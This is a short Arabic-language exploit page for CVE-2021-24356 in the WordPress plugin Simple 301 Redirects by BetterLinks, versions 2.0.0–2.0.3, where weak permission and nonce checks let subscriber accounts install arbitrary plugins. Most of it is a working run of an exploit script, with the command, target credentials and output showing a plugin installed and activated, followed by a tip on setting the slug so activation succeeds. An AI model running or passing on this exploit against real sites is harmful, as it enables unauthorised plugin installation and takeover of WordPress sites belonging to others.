
إعادة التوجيه 301 البسيطة من BetterLinks - 2.0.0 – 2.0.3 - مشترك + تثبيت إضافة تعسفي
Simple 301 Redirects من BetterLinks - 2.0.0 – 2.0.3 - مشترك + تثبيت إضافي عشوائي
نقص في فحوصات الصلاحية وفحص غير كافٍ لـ nonce في إجراء AJAX داخل الإضافة جعل من الممكن للمستخدمين المصادق عليهم تثبيت إضافات عشوائية على المواقع الضعيفة.
$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}
ملاحظة: قد لا يتم تنشيط بعض الإضافات إذا لم تقم بتغيير متغير sluga إلى المسار/file.php الذي هو الملف الرئيسي للإضافة؛ يعمل بشكل جيد جداً عندما يكون slug شيئاً مثل betterlinks ويكون الملف الرئيسي للإضافة اسمه betterlinks.php.